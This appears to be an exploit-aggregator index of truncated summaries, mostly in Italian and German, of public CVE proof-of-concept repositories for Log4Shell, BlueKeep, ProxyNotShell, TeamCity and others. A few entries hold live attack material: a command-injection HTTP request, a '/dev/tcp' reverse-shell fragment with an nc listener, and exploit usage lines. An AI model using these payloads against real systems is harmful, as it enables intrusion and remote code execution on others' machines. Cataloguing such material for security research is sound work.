CVE-2021-44228-Log4j-lookup-Rce

0x01、Ambiente Jdk7u21 qualsiasi versione va bene Versione interessata: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER =...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635,MS15-034 Schwachstellenerkennung root@kitploit: USAGE python MS15-034.py www.xxx.com:80 Testprogramm HTTP.sys-Remotecodeausführung-Schwachstelle（CVE-2015-1635，MS15-034） Die Remotecodeausführung-Schwachstelle existiert im HTTP-Protokollstapel HTTP.sys. Diese Schwachstel...

CVE-2022-22965

Analisi della CVE 2022-22965Spring4Shell Descrizione della vulnerabilità Spring4Shell è il nome di una CVE presente in Spring Core di Spring Framework. Con un punteggio CVSS 3.x di 9.8, la vulnerabilità è classificata come rischio massimo critical. Questa vulnerabilità consente a un attaccante di...

CVE-2024-27198-RCE

Dork per la mappatura del cyberspazio Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Come usare Sto usando Python3.9. root@kitploit: pip install requests...

Kernelhub

Benvenuto in Kernelhub Premessa L'intenzione originale della realizzazione del progetto è per imparare, analizzare e ricercare le ultime vulnerabilità del kernel senza dover guardare il sistema e i contenuti correlati. Questo progetto è una raccolta proprietaria, ad eccezione dei test falliti o n...

CVE-2019-0709

CVE-2019-0708 BlueKeep Exploit CVE-2019-0708 RCE und Crash Exploit mit Python Crash Exploit Veröffentlicht Usage: python3 crashexploit.py 127.0.0.1 64 RCE Exploit Nicht veröffentlicht Usage: python3 exploitrce.py 127.0.0.1 payload...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilità RCE Esecuzione di Codice Remoto nelle versioni datate di Confluence Data Center e Server Data di rilascio dell'avviso Tue, Jan 16 2024 01:00 EST Prodotti: Confluence Data Center Confluence Server Versioni Interessate: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x...

ProxyNotShell-PoC

PoC funzionante per CVE-2022-41040 e CVE-2022-41082 A.K.A ProxyNotShell Requisito: pip install requestsntlm2 requests Utilizzo: root@kitploit: python pocaug3.py Credenziali: Script PoC di ProxyShell da: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Post del...

CVE-2019-7214

CVE-2019-7214 Esecuzione di codice remoto nella deserializzazione .NET per il sistema SmarterMail. Raccolta In questo repository è disponibile una raccolta di proof of concept per l'exploit. Alcune potrebbero funzionare come previsto senza modifiche, altre potrebbero richiederle...

CVE-2016-2098

CVE-2016-2098 Vulnerabilità di esecuzione remota di codice in Ruby-on-Rails quando si usa render su dati forniti dall'utente. Spiegazione: Questo problema deriva dall'uso del metodo render su dati forniti dall'utente. Il metodo render è solitamente usato per renderizzare una pagina da un template...

ENLBufferPwn

ENLBufferPwn CVE-2022-47949 CVE:| CVE-2022-47949 ---|--- CVSS v3.1:| 9.8/10 Kritisch Autoren:| PabloMK7, Rambo6Glaz, Fishguy6564 Gemeldet:| 8. August 2021 Mario Kart 7 14. April 2022 für die betroffenen WiiU- und Switch-Spiele Offengelegt:| 22. Dezember 2022 Inhaltsverzeichnis Beschreibung...

CVE-2024-28397-Exploit-Automation

CVE-2024-28397 Automazione dell'Exploit Uno script di automazione in Python per sfruttare la vulnerabilità js2py Sandbox Escape CVE-2024-28397. Questo strumento automatizza il processo di generazione e consegna del payload per ottenere l'esecuzione remota di codice RCE su istanze vulnerabili. ⚠️...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Execução de código via injeção de configuração do Laravel postagem no blog sobre a vulnerabilidade https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ você pode usar isso para CTF ou apenas para aprender divirta-se e que Deus abençoe ...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2026-4480

🚨 CVE-2026-4480 - Esecuzione Remota di Codice Critica nel Sottosistema di Stampa di Samba Esecuzione Remota di Codice RCE Vulnerabilità di Iniezione di Comandi di Stampa in Samba "Un singolo nome di job di stampa non dovrebbe mai diventare un comando shell." 📖 Panoramica CVE-2026-4480 è una...

CVE-2026-38526-POC

CVE-2026-38526 - Exploit RCE per Krayin CRM Krayin CRM ≤ 2.2.x - Caricamento file senza restrizioni che porta all'esecuzione remota di codice. Questo PoC sfrutta l'endpoint vulnerabile di upload di TinyMCE /admin/tinymce/upload per caricare una webshell PHP e ottenere l'esecuzione di comandi sul...

CVE-2026-33454

Riproduttore della vulnerabilità di iniezione negli header di camel-mail → RCE CVE-2026-33454 Questo progetto dimostra una vulnerabilità di iniezione negli header dei messaggi Camel nel componente camel-mail di Apache Camel, registrata come CVE-2026-33454. Un attaccante in grado di consegnare...

CVE-2020-8165

CVE-2020-8165 Exploit Python Questo è un codice per sfruttare CVE-2020-8165 usando Python3. Questo exploit funziona con Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crediti Principali Dettagli originali del CVE:...

log4shell-poc

CVE-2021-44228 Log4Shell POC Panoramica Proof of Concept per l'esecuzione remota di codice tramite la vulnerabilità di iniezione JNDI in Apache Log4j 2.14.1. Web Hacking Course - Assegnazione Settimana 11. Ambiente...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...